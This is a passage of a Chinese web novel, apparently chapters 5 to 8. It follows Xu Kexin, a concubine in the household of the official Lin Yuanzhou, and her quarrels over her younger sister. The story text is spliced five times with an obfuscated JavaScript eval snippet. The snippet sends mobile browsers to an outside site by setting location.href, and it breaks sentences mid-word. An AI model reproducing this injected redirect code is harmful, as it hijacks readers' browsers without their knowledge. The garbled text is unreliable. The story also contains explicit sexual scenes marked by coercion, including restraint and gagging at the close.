徐可心紧抱着少女不放,眸中满是喜色,相比较她的喜色,少女却面色迟疑,“阿姐,你为何会在林府?是嫁给二哥哥了吗?” 没想到她会提起此事,徐可心脸上笑容凝固,不知道怎么和她解释自己成了大人妾室的事情。 她面色迟疑,徐念安仍追问,“阿姐,到底怎么回事?” 妹妹自幼聪慧,就算她不讲,之后也会自己发现,徐可心犹豫半晌,把自己想要嫁给赵大人做妾却被送给林大人的事情,一五一十告诉了她。 知晓事情的来龙去脉,本面色怯懦的少女霎时变了脸色,紧咬着唇道,“徐可心?你没搞错吧?” “林大人?他是二哥哥的父亲,你如何能入了他房中,又成了他的妾室?” 她的话里带着不加掩饰的不解和责怪,恨铁不成钢似的,“你是徐家长小姐,怎么能给旁人做妾?” 徐可心紧攥她的衣袖,慌乱道,“念安,阿姐只是想离开教坊司,想带你一起离开。” 她不停解释,徐念安一把推开她,快步跑了出去。 “念安!” 少女不顾她的呼喊,直接向门边跑去,可未等出门就直挺挺撞在来人身上。 来人站在门前,不知何时来的,也不知听了多少两人方才的话。 “大人。” 徐可心慌乱起身,前去扯住徐念安的袖子,将她拉到自己身侧。 徐念安直接挣脱她的手,面色不满地看向来人,直接唤了一声“林叔”。 话语挑衅,有意侮辱他似的。 见她还有话要说,徐可心慌乱捂住她的嘴,温声轻斥,“不得无礼。” 徐念安被她扯住袖子,挣扎不停,直接瞪了她一眼。 徐念安青春年少,正是叛逆的时候,她性子柔,徐念安也不怕她。 对上男人没有情绪的目光,徐可心尴尬地垂下眉眼,浑身燥热不堪。 她们眼下在林府讨生活,若念安惹大人不快,难保大人不会生气,将她赶出去。 徐可心只能狼狈地扯着她的袖子,让她不要再冲撞对方。 “来人,带二小姐回房,何时学会礼仪规矩何时解了禁足。” 话音刚落,徐念安瞳孔瞪大,随行的小厮得了命令,直接上前将少女从徐可心怀里抢走。 徐可心快步上前,未等出门却被男人拦下。 “可心有意纵容她,可她并非稚童。” “今日你疼惜她,日后若她犯了大错,可心又该如何?”男人语气没有起伏问。 徐可心话语一噎,终究停下了步子。 直到少女的呼喊声越来越远,消失在屋外,徐可心才回过神,走到男人身侧为他倒了一杯茶,温顺地站在一旁。 一旁的古琴安静摆在桌案上,茶杯落下,她的心也随之一颤,忙不迭看向男人。 林远舟揉着眉心,只道近日公务繁忙,命她弹琴放松身心,语气淡漠,俨然把她当成一只会叫的雀儿。 未在乎他冷漠的态度,徐可心温顺行礼,走至琴前坐下,俯身弹奏。 她自己的那把古琴不知如今在何处,眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15559173|171343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前这把是府上的珍藏,被小厮抬进来送到她屋内。 她未入教坊司时,会的都是一些清雅曲子,入了教坊司后,便学了宫廷琴曲以及……几首上不得台面的靡靡之音。 如今房中只有他们二人,大人又身心劳累,清丽端雅的曲子怎么也比不得那些不入流的悱恻缠绵,适合休憩。 大人来她这里自然不是为了诗词歌赋,总不过是想寻一处放纵之地。 徐可心垂眸专心弹奏,一曲接着一曲,没有片刻歇息,男人不知何时阖上眸子。 若她现在贸然停下,说不定会惊扰大人,徐可心收敛思绪,身心全放在身前的琴上。 她手上的烫伤还未痊愈,眼下长久弹奏,很快指骨传来钻心的痛意,她微微蹙眉,手上动作不停,秉着一口气继续弹奏下去。 过了午时,管家上门说赵大人上门拜访,徐可心才停下手中的动作,抬眸方要轻唤大人醒来,却见不知何时,男人已经撩起眼皮,无声注视她。 徐可心面色一愣,起身走到他面前,侍奉他更衣。 男人的身姿颀长挺拔,徐可心需微微踮脚才能为他整理外衣。 “原可心属意的人是赵大人。” 男人穿戴整齐,只留下这样一句轻飘飘的话,离了屋内,独留徐可心站在原地脊背发寒。 大人听到方才她和念安的话。 不知道大人是否介怀她的话,徐可心一下午心上忐忑不安,本想在晚间同他认错,谁成想先等来大人宿在春熙斋的消息。 好似惩戒她一般,剥夺了她的宠爱。 徐可心站在屋外,等了良久,确认大人不会来听雨阁后,才挪着步子回了房中。 入府后她一直同大人睡在一起,心上早就不自觉依赖他,眼下他不在,徐可心一整晚辗转反侧,怎么也无法入睡。 之后数日,大人依旧未到她房中。 不过念安被解了禁足,人也在林府暂时住了下来。 怕她再闯祸惹大人不快,徐可心平日派人跟着她,让她不要乱跑,徐念安倒是浑身不自在,一直嚷嚷离府,还要带她一起走。 徐可心只当她在说胡话,求她安分些不要同人结怨就好。 这日,徐可心正在屋中练琴,想着过几日献曲,以求大人原谅。 丫鬟忽得急匆匆跑进来,面色急切,口中念着不好了。 徐可心方要问怎么了,就听她道,“姨娘,二小姐同四姨娘在后花园碰见,两人为了一朵花争执起来,二小姐出言不逊,和四姨娘打了起来,眼下两人一齐被夫人叫到正堂。” 话音刚落,徐可心霎时起身,摆在一旁的茶盘被不小心撞在地上,砰的一声,杯中茶水尽数倾洒在地,可她已经顾不得了,忙不迭向正堂走去。 终究还是闯了祸,这孩子同谁争执不好,偏偏去招惹四姨娘。 四姨娘素来受大人喜欢,若大人因此责怪念安赶她走怎么办,况且她们被带到夫人那里,夫人不喜自己,难免不会牵连到念安身上。 徐可心只觉心跳加快,生怕去晚了,这孩子再冒犯夫人。 5. 5章 徐可心方走入正堂,一众女人的目光齐齐落在她身上,带着不加掩饰的审视。 她脚步一顿,又硬着头皮走了进去。 正堂内。 徐念安和四姨娘各自跪在地上,两人发丝凌乱,面色也极为难看。 四姨娘自从进府后哪里受过这般委屈,见她进来,直接剜了她一眼。 徐念安低垂着脑袋,面色涨红,不知是终于知晓自己闯祸,窘迫羞涩,还是同人吵架未赢,一肚子怒火憋得脸红。 大夫人坐在堂前,手中捧着一杯茶水,垂眸未给她一个眼神。 徐可心挪步上前,走到徐念安身侧,俯身行礼后,未走到一旁坐下,只看向大夫人,犹豫良久才道,“夫人,不知念安和四姨娘方才因何争执?” 未等大夫人开口,四姨娘先道,“还能因为什么?无非你家小妹不懂礼仪规矩,我好端端在园中赏花,她四处乱跑不说,还撞了我。” 四姨娘话语不停,向大夫人不满控诉道,“夫人,她这般不知分寸,还请夫人替我做主,好好教训这丫头一番,不然府中上下还有规矩可言吗?” 话音刚落,徐念安直起腰板就要起身,“我不懂礼仪规矩?分明是你出言不逊在先?”她紧蹙着眉,眼里带着不加掩饰的愤恨。 眼见小妹要同四姨娘理论,徐可心忙不迭扯住她的手臂,按着徐念安的肩膀不让她起身,低声告诫道,“安分些。” 徐念安素来不听她的话,抖着肩膀甩开她的手,徐可心无奈轻轻叹了口气,抬头柔声道,“夫人,小妹方入府中,不认得四姨娘,失了分寸,我代她向四姨娘赔个不是。” “我都说了是她出言不逊在先!” “她同我争执,谁要你的道歉?” 徐念安和四姨娘一齐不满道。 “安静!” 夫人放下茶杯,砰的一声,徐念安未被吓到,四姨娘却身子一颤,忙不迭垂下脑袋,面上愤怒褪去几分。 徐可心眸色一怔,抬手轻轻捏了一下徐念安的肩膀,徐念安鼓着腮帮子,面色依旧不满。 大夫人的目光落在徐念安身上,“你说四姨娘出言不逊,那你倒是说说,她讲了什么让你不快,以致你们二人大打出手?” 此话一出,众人的视线齐刷刷聚在徐念安身上,她脸色涨红,终于得了开口说话的机会,但久久无言,只抬头看了徐可心一眼,复又低头小声嘟囔道,“反正她就是出言不逊。” 她不说到底发生何事,四姨娘面色发青,更没有开口的意思。 两人都垂着脑袋,大夫人微微眯起眼睛,直接道,“四姨娘在房中禁足三月。” “至于徐二小姐……” 大夫人冷声道,“你既已入了林府,自然也要守林府的规矩,可眼下看来,徐二小姐桀骜不驯惹是生非,林府容不下二小姐这尊大佛,待老爷回府,我会告知他此事,去留全凭老爷。” 徐可心闻言霎时跪在地上,恳求道,“夫人不可,小妹做了错事,妾身会严加管教,定不会再犯,求夫人不要告诉老爷。” 她费了周折终于把小妹接回身边,怎么可能让念安离开自己,徐可心膝行几步,恳求道,“夫人,是妾身管教不善,千错万错都是妾身的错。” 她的腰板弯得极低,人也格外卑微,徐念安盯着她,忽得站起身,冷眼看向大夫人,“说白了不就是想赶我走吗?你们林府上下没一个好人,我徐念安也不愿留在这里。” 她说完,甩开徐可心的手直接跑了出去。 “念安!”徐可心望着她的背影,只觉一口气堵在心口,面色也急切几分。 大夫人坐在主位面色难看,“徐姨娘,你也看见了,她这般任性妄为,如何能留在府中?不必在为她求情,去留与否老爷自有定夺。” 徐可心面色苍白,半晌未再开口。 徐念安跑了,身旁的女人仍计较道,“夫人,是她打了妾身,妾身为何也要……” 四姨娘还未说完,被大夫人冷冷看了一眼后,霎时噤声。 从正堂离开,徐可心只觉心脏紧缩,在府中四处寻找徐念安,却寻不到她的身影。 一众丫鬟小厮嘴上说去找,可都慢吞吞的,谁都未把她的话放在心上,徐可心气急但又无可奈何。 眼见入了夜,知道大人回府,想着白日夫人的话,徐可心只能先赶去书房去见大人,想着他可以留下念安。 自她入府后,从未进过一次书房,知道自己身份低微,徐可心眉色失落,但也只当大人政务繁忙,不愿让她进去打扰。 她端着刚炖好的补汤,走至灯火通明的书房前,木窗内透着黄亮的光,徐可心挪步上前,同往日那般向侍卫询问,自己可否入内。 见是她,侍卫拿起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15559174|171343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刀横在门前,依旧把她拦在门外。 徐可心垂眸叹了口气,屈膝跪在地上,想着碰碰运气,说不定会等到大人。 她安安分分跪在书房门外,不吵不闹。 两个时辰过去,只觉后背酸疼,双腿发麻胀痛,她忍着不适,直挺挺跪在外面。 过了半晌,管家进去又出来,路过她时看了她几眼,目光直白,眼底什么敬意。 没过多久,身后又传来一阵脚步声。 徐可心垂着脑袋,忽得脚步声在她身侧停下,黄色裙摆在面前微微摇晃,她抬起头,却见本被禁足的四姨娘此时站在她面前,同样端着汤碗俯视她。 徐可心眸色微怔,就见四姨娘略微勾唇,仰着脖颈看向一旁的侍卫,“进去禀告大人,妾身来了。” 侍卫得了四姨娘的命令,没有像对待她似的只说不准,推门入内。 房门未被关闭,徐可心能清晰听见侍卫禀告说四姨娘来了,一声漫不经心的嗯随即响起。 侍卫推门走出,“四姨娘,老爷命您入内。” 四姨娘闻言眼中笑意更盛,嘲弄地瞥了徐可心一眼后,笑道,“这世道还真是变了,什么不入流的货色都敢同本小姐争宠。” 她的声音未加掩饰,清晰地传入徐可心耳中,徐可心身子一僵,眼睁睁见她走了进去反手关上门。 砰的一声,将她隔在门外。 入夜寒冷,徐可心想走,但一想到白天的事还没有定数,她又不能离开,依旧跪在门外。 她过去自己不能入书房,以为府中女眷都不得入内,但现在看来,好似只有她…… 徐可心出神胡思乱想之际,书房内传来一声娇笑,“哎呀,大人你慢些。” 她眸色一怔,碰撞声从屋内传来,意识到两人在做什么,徐可心只觉浑身冰冷,未等她回神,砰的一声,女人曼妙的身影压在门上。 一门之隔,两人交缠欢好的声音清晰地在徐可心耳边响起。 暧昧的喘息声好似逐客令一般,无声赶她离开。 徐可心瘫跪在书房门外,只觉浑身血液一点点凝固,站在一旁的两个侍卫听到屋内的声音,看向她的目光也不自觉带上几分同情。 为了念安,她不能离开,只失魂落魄地跪在门外。 整整一夜过去,就在她的双腿几乎失去知觉时,书房门终于打开了。 6. 6章 书房内。 徐可心方走进去,便闻到浓重的石楠花味。 男人坐在书桌后,外衣松松垮垮搭在他的身上,露出半边冷白的胸膛,他靠着座椅,手上拿着一纸公文。 四姨娘浑身衣服凌乱,系着腰带还想往男人怀里靠,“大人,有什么话是妾身不能听的?” 林远舟放下公文,只淡淡看了她一眼,四姨娘眸色微怔,不情愿地站起身,整理衣摆向门外走,路过徐可心时白了她一眼,说了声晦气推门离开。 房门被关上,书房内只剩下他们二人。 徐可心站在门前,望着不远处垂眸看公文的男人,不知名的情绪伏在心头,心也乱成一团。 半晌她半阖眸子,在心里告诫自己只是个妾室,连正妻都不算,哪里来的底气越矩。 男人不开口,她缓步上前,走在桌前跪下,轻声恳求道,“大人,可否留下念安,不要将她赶出府?” 她说完,却一直未得到回应,徐可心只能继续跪在桌前,等他开口。 徐可心跪了一夜,还未入寝,头昏昏沉沉的,心上又纠结不安,只能得了男人的回应,才能安心入睡。 临近丑时,桌前终于传来响动,男人起身,向书房外走去。 徐可心知晓,不久大人会去上朝,男人从她身旁路过时,徐可心鼓起勇气抓住男人的衣摆,仰头恳求地喊了一声大人。 男人停下脚步,居高临下俯视她,眼神没有情绪,只一眼便收回目光向门外走去。 眼底没有丝毫动容留念。 衣摆从指尖滑落,徐可心扶着地面,只觉身子泛冷,从骨子里透出来的冷意。 男人从书房离开,独留她一人跪在书房。 未得到回应,徐可心不愿离开,只安分地跪在原地,只要她一直留在这里,待大人下朝后,便可向他求情。 天渐渐破晓,日光透过窗纸照了进来,徐可心低垂脑袋,只觉浑身酸疼,脖颈也格外僵硬。 不知过了多久,徐可心只觉头疼发昏,终于听到开门声,她转身看去,身着朝服的男人走入书房。 看到仍跪在地上的徐可心时,林远舟面色不变,走至书桌后坐下。 “过来。” 得了准许,徐可心强撑着身子站起来,双腿还未站直,蚂蚁啃噬感霎时蔓延至四肢百骸,她身子一软直接跌落在地,扶着双腿连动也不敢动。 待啃噬感褪去些许,她才终于站起身,费力地走到男人面前,垂眸乖巧地喊了一声大人。 徐家倒台后,林远舟成了朝中新任首辅,已过而立,但同过往这个位置上的首辅相比,还是太过年轻了。 一众老臣看不惯他,又畏惧他的权势手段,只能时不时鸡蛋里挑骨头,找些无关痛痒的小事有意在陛下面前诋毁他。 鼠辈之流不足为惧,但扰人心烦。 朝中政务繁忙,后宅也不安分,他这位小情人格外体贴,合他心意,本想不顾过往留她在身边,但近日看来,明显本性是个执拗的,不似面上那般温顺听话。 他只想要个解闷舒心的,若这人不合心意,也没有留下来的必要。 林远舟微微皱眉,方要告诉她,已经在府外安置好宅院,不日送她们姐妹二人前去,身旁人忽得上前一步,走至他身侧。 柔软细腻的指腹贴上头皮,缓慢按揉,腕间透着浅淡幽香,格外宜人,他的小情人站在他面前,温温柔柔道,“大人可有烦心事?为何面色这般疲惫。” 林远舟抬眸,审视的目光落在眼前女人的面上,仔细看了半晌,也未寻到半分谄媚,好似真得关心他,软着话语同他讲话。 他自然知晓这人本是昭明的未婚妻,假若徐家未失势,昭明也未退婚,可心顺利嫁进他林家,她依旧同眼下这般讨好自己,那她倒算不得他的小情人,而是情妇。 两人之间的关系也不清不楚。 不过如今这人独独属于他,是他养在宅中的雀儿,并非他的儿媳。 徐可心正专心为他按揉,见男人微眯眼睛,眸色变了些许,她方要问是不是自己的力道太重时,男人没有征兆抬手,用力钳着她的腰将她压在桌案上。 冰冷的桌面直接紧贴侧脸,徐可心惊呼一声,还未彻底反应这变故,身下衣裙就被撕扯成破布扔到一旁,双腿一凉,男人没有前戏,直接进来。 徐可心到嘴边的大人也变了声调,甜甜腻腻的,调情似的。 白日宣淫,徐可心赤着身子趴在冰冷的桌面上,只觉浑身上下酸软不堪。 她难忍地下意识躲闪,不小心碰倒桌案上的公文。 身后人直接让她跪在地上,命她去捡,徐可心跪在地上,面色涨红,低垂着脑袋膝行至桌前,一一捡起散落在地的纸张书卷。 男人赤着上身,目光毫不掩饰地落在她身后,眼底没什么情绪。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15559175|171343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 徐可心回头看了他一眼,对上他晦涩难懂的目光,莫名看出几分恶趣味,她垂下目光,不敢再看。 终于捡起最后一本书,徐可心方要起身,身后男人忽得大步上前,揽住她的腰直接将她抱起。 徐可心伏在他的肩膀,害怕被摔在地上,紧紧环住他的脖颈。 男人走至软榻前,直接将她扔了上去,脱下外衣,扯着她的腿弯将她拽至榻边。 两条腿一齐搭在男人的肩膀上,失控感席卷全身,徐可心半阖着眸子,虽有些害怕,但又不知怎么拒绝,只能受着。 好的坏的,照单全收。 只要是大人给的,全都吞下去。 临近午时,男人才终于放过她,桌案前,徐可心抬着双臂,坐在男人怀里虚虚揽着他的肩膀,整个人极为依赖的姿势。 男人一手揽着她的腰,另外一手拿着公文,漫不经心打量。 好似在专心处理公务,可搭在她腰上的手极为不安分,四处游离。 但徐可心太累了,埋首在男人颈侧,沉沉睡去。 书房只有他们二人,过了半晌,本处理公务的男人放下公文,将自己的外衣穿在徐可心身上后,直接抱着她向听雨阁走去。 守在门外的两个侍卫瞧见他怀里女人的面庞,待他走后,彼此对视一眼,其中一人迟疑道,“大人……亲自抱五姨娘回院?” 另外一人瞧着两人远处的背影,努努嘴,“可不是,以后再瞧见五姨娘,应给几分笑脸,说不准以后得宠生个小公子。” “你说的在理。” 春熙斋。 “你说大人亲自送那贱人回听雨阁?”四姨娘紧绷着脸色,直勾勾盯着站在一旁的丫鬟,恨不得吃了她一般。 丫鬟身子微颤,迟疑点头,“奴婢方才亲眼瞧见的。” 四姨娘紧攥手指,猛地起身,过去她偶尔去书房侍寝,可何曾被大人亲自送回春熙斋,每每都是她忍着腿疼自己一个人走着回来。 现在这贱人头一次去了书房,就被大人有意照顾。 四姨娘只觉一口气不上不下,恨不得现在就去听雨阁大骂一通。 忽得想到什么,四姨娘直接起身,“如今自己小妹都要被赶出府了,她还有心思服侍大人,看来她也不怎么在乎她的小妹。” “同我去正院,既然那丫头不愿留在林府,我们便送她一程,也让她和她姐姐告别。” 7. 7章 徐可心再醒来时,下意识寻找大人的身影,却发觉自己身处听雨阁。 她看向一旁的丫鬟,问自己怎么回来的。 丫鬟面色古怪,半晌才道,“姨娘,是大人……将你抱回听雨阁的。” 大人亲自送她回来?徐可心眸色微怔,良久才回过神。 想起自己夜里还未向大人提起念安的去留,她看向丫鬟,问她大人的去向。 丫鬟说送她回来后,大人就走了,没有多加停留。 徐可心闻言,当即起身,大人已经下朝回来,眼下应在府中,她命丫鬟为她梳妆,方要去寻大人,一个小厮急急忙忙跑进来,嘴里还嚷嚷着不好了。 认出他是去寻徐念安的下人,徐可心忙不迭问,“何事不好了?” 小厮面色慌乱,“昨日小的们未寻到二小姐,今早回来的下人说,二小姐眼下在大少爷院内,四姨娘命人赶走二小姐,被大少爷拦下了。” 念安怎么会在大少爷房中? 徐可心想要去寻小妹,可想到她如今在大少爷院中,若她去了不可避免会见到林怀瑾,心上不自觉生出怯意。 她真真正正怕这人,不想同他见面。 她迟迟不开口,小厮紧接着说,“四姨娘落了空,眼下跑去见夫人,夫人命大少爷和二小姐去正堂。” 知晓小妹被夫人叫过去,徐可心再不想见大少爷,也只能动身前去,生恐小妹又惹夫人不快。 正堂内。 徐可心方一走进,众人的目光齐刷刷落在她身上,她迎着四面八方的投来的视线走了进去,向夫人行礼。 身形颀长的公子坐在一旁,徐念安站在她身后,面色难看。 徐可心走上前,低垂着头避免和男人对视,扯着徐念安的袖子将她拉到自己身侧。 徐念安身着一件新锦衣,面容整洁干净,不似受人欺负的模样,徐可心无声松了口气,紧攥她的手腕,示意她收敛脸上的不满。 徐念安不情愿地抽回自己的手,站在她身后,小声嘟囔,“我站在姐姐身后就是了。” 徐可心轻拍她的手背,看向坐在对面冷眼瞧着自己的四姨娘。 四目对视,她放下茶杯,直接道,“夫人,老爷不是已经允准赶这丫头离开吗?她为何还在府中?” “还不是你平白作践徐姨娘,徐二小姐听进耳中,能不撕你的嘴?” 徐可心眸色微怔,抬眸看去,只见三姨娘攥着帕子,领了一个丫鬟走了进来。 见到丫鬟的瞬间,四姨娘面色晃过一丝慌乱,转瞬即逝,“你什么意思?我何时作践她了?” “把你昨日听到的话尽数说了出来,不得隐瞒。” 丫鬟微微行礼,走上前跪在堂内,“夫人,昨日姨娘命奴婢给大人送药膳,路过园中时恰巧碰见徐二小姐和四姨娘。” “徐二小姐独自一人裁剪花枝,四姨娘来后,直直走向二小姐,夺走她手中的花枝不说,还命嬷嬷赶二小姐离开。” “二小姐本已经离开,可四姨娘……” 未等丫鬟说完,四姨娘倏地站起身,“你到底胡言乱语什么?我何曾夺走她手中的花枝?” 丫鬟被吓了一跳,话语一噎。 “四姨娘。”大夫人冷言开口。 四姨娘身子僵硬,只能坐下。 丫鬟见状,继续道,“四姨娘说五姨娘过去在教坊司当官妓,身子早就不清白了,手段下作,人也不干净。” “还说徐姨娘如今落魄,早就不是什么千金小姐,也不知大人喜欢她什么。” “二小姐气不过,才与四姨娘起了争执。” 她刚说完,一壶热茶直接泼在她脸上,丫鬟躲闪不及时,被烫个正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15559176|171343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着,滚烫的热水从脸上滑落,一声惨叫在正堂内突兀响起。 丫鬟颤抖着身体,脸颊霎时通红。 “四姨娘!你做什么?”三姨娘不满喊道,“快去井旁洗脸。” “我做什么?这丫鬟胡言乱语,存心污蔑主子,我还不能教训她了?”四姨娘咬牙道。 堂内乱成一团,徐可心看向站在自己身侧的小妹,对上她躲闪的目光,半晌才回过神,牵住她的手腕将她拉到自己身后。 林怀瑾坐在她身侧,手持茶杯,回头瞥了她一眼,目光复杂,眼底带着几分徐可心看不懂的情绪。 徐可心不自觉向后退后半步,躲闪他的视线。 四姨娘先挑起争执,又公然在堂内训斥丫鬟。 四姨娘的禁足本来已经被大人解了,可没过半天,她又任性妄为,公然在正堂泼丫鬟热茶,大夫人直接命人将她押回春熙斋,命自己院中的嬷嬷专门看管她。 事端是四姨娘挑起的,但终归徐念安先打的人,徐可心本以为夫人也会处罚小妹,正想如何替她求情时,夫人竟让她们离开了。 徐可心面色不解,但很快反应过来,带徐念安离开正堂。 两人一直走到池边,徐可心环视四周,见四下无人,才忙不迭问,“你昨夜为何会在大少爷院中?” 好似听出她话里的急切,徐念安嘟囔道,“为什么不能在?” “别贫,快讲到底怎么回事?”徐可心攥着她的手腕,催促她道。 徐念安紧抿着唇,方要开口,身后传来沉稳的脚步声,“是我收留徐二小姐。” 清朗的声音在身侧响起,徐可心身子一僵,转过身猝不及防对上一双冷寂的目光,她眸色怔然,下意识想到躲闪。 好似察觉她的举动,男人先挪了半步,挡在她身前,语气没什么起伏问,“要去何处?” 8. 8章 徐可心脚步一顿,却见徐念安也狐疑地看她。 知道对方昨夜收留了小妹,徐可心犹豫半晌,才小声向他道谢。 她低垂着头,不敢和男人对视,忽得对方上前一步,徐可心双眸瞪大,未等退后,男人俯身,在她耳侧低声道,“如今二小姐来了府中,五姨娘若没有保护她的能力,便早些将她送离。” 听着耳边的告诫,徐可心垂下眉眼,面上的窘迫也褪去几分。 林怀瑾说完,未多做停留。 望着他远处的身影,徐可心只觉心中五味杂陈,看向站在一旁年幼的少女,心上更添几分愧疚。 如今她已经成了林大人的妾室,徐可心想不到这京城之中还有哪里能收留她们二人。 父亲身死,母亲自尽,整个徐家大房独留她们姐妹二人,徐家早就没有她们的容身之处。 回了听雨阁,徐可心关上门,问徐念安昨夜到底为何在大少爷院中。 徐念安说她从正堂离开后,想着离府,没想到出府时被侍卫拦了下来,恰巧碰见大公子,问她要去哪里。 过去徐家未失势时,两家小辈或多或少熟知彼此,因为婚约的事,她早就把林家人当成亲人,也格外信任林怀瑾这位兄长,告诉他自己同四姨娘争执的事。 林怀瑾知晓后,让徐念安同他回去。 徐念安本不想答应,但她在国子监读书时,也怕林家这位古板冷漠的长兄,便同他回了他的院落。 徐念安努着嘴,“就是这样,离府时恰好碰见他。” 徐可心面色困惑,依旧不明白林怀瑾为何会收留小妹。 “阿姐,我不想留在林府。”徐念安抱怨道,“她们欺负人,林大人对你也不好,不如我们一起离开,天下之大去哪里不好,非要在林府找气受?” 徐可心本在想林怀瑾的此番的意图,闻言霎时回神,微微蹙眉,方要责问她昨日为何乱跑,想到她是为了自己才同四姨娘起了争执,徐可心又不知如何开口。 过了半晌,才轻轻叹了口气,“以后不准再同府中的主子起争执。” “是她先出言不逊……” “那也不准。”徐可心直接道。 徐念安面色不满,见她脸色难看,最后也只不情不愿地嗯了一声。 如今她们二人无人依靠,寄人篱下本就应该小心谨慎。徐念安性子急,徐可心也不敢让她离开自己的视线。 每日留徐念安在房中,让她同自己学琴,没有自己的允许,不得离开听雨阁。 徐可心不明白林怀瑾收留小妹的缘由,但对方毕竟对小妹有恩。 她如今也没什么值钱的东西能答谢他,徐可心思来想去,跑到院中的小厨房做了一份点心,命丫鬟送到大少爷房中。 过了半晌,丫鬟又把糕点原封未动地带了回来。 知道林怀瑾未收下,徐可心抚着食盒,轻声问,“可同长公子道谢?” 丫鬟点点头,“不过……” 她犹豫半晌才道,“长公子说五姨娘不必多此一举。” 徐可心指尖一顿,半晌后命丫鬟退下。 离开前,丫鬟说她路上碰见了管家。 徐可心轻轻嗯了一声,未多加在意。 书房内。 男人身着朝服姿态随意,漫不经心地把玩手中的玉柱,通透白润的玉柱横在他的指骨之间,不断周旋。 他的目光落在手中的公文上,好似在认真处理公务。 “大人,那丫鬟一开始被四姨娘威胁隐瞒不报,眼下已经被发卖了。” “是大少爷收留了徐二小姐,方才恰巧碰见听雨阁的丫鬟前去大少爷院中,手中还捧着食盒,说是为了答谢大少爷的好意,五姨娘亲自准备的糕点。” 男人把玩的手指一顿,眼也不抬道,“怀瑾可收下?” “未曾,糕点又被丫鬟带了回去。” 男人闻言,不咸不淡地嗯了一声。 管家迟疑片刻,又道,“大人,今日大少爷来见您,恰巧您不在,大少爷命奴才禀告大人说,徐二小姐人虽急躁,心却不坏,五姨娘如今只有二小姐一个亲人,还是不要拆散他们为好。” 话音刚落,男人放下手中公文,揉着眉心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15559177|171343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,语气没什么情绪,“他倒是对可心格外上心。” 管家闻言,低垂着脑袋,未敢再开口。 过了半晌,才听男人道,“晚间命五姨娘来书房。” “是,大人。” 入夜。 徐可心沐浴后,正想着大人今夜是否会来时,便得了小厮的传话,她忙不迭起身穿衣,临走前叮嘱丫鬟看好小妹后,才前去书房。 她同往日那般,方要问侍卫自己可否进去,还未等她开口,侍卫便主动打开了书房门,请她入内。 第一次顺利进入书房,徐可心还有些许不习惯,待回过神后才抬步走进。 厚重的檀香掺杂一股甜腻的香气,扑面而来,萦绕在徐可心身侧。 书房内,男人只披着一件外衣,坐在书桌前,手中握着一根白玉柱。 徐可心上前行礼,轻声唤了一声大人。 男人抬眸看她,淡声命令,“过来。” 徐可心挪步走近,刚走至男人身侧,就被他抱在腿上,还未等她说什么,男人拿起摆放在桌案上的白布,不紧不慢地蒙在她眼前。 徐可心眸色不解,身子下意识靠后,却被按住后颈,躲闪不得。 视线被挡住,眼下白蒙蒙的,什么也看不到。 衣服被一件件脱落,身子暴露在外面,没有衣服遮掩,不自觉微微颤抖。 徐可心不安地想要勾住男人的脖颈,却被他扯下,用布条紧紧绑在身后。 徐可心背着双臂,害怕地坐在男人腿上,方要问他要做什么,两根长指便没有征兆地探进她的口中,嵌在她的牙床之间,让她不能合嘴,也无法再讲话。 白玉柱从大人那里跑到她这里。 徐可心身子酸软,不自觉微微蜷缩双腿,踮起脚尖踩在地上,尽力支撑着身体,让自己不至于跌落在地。 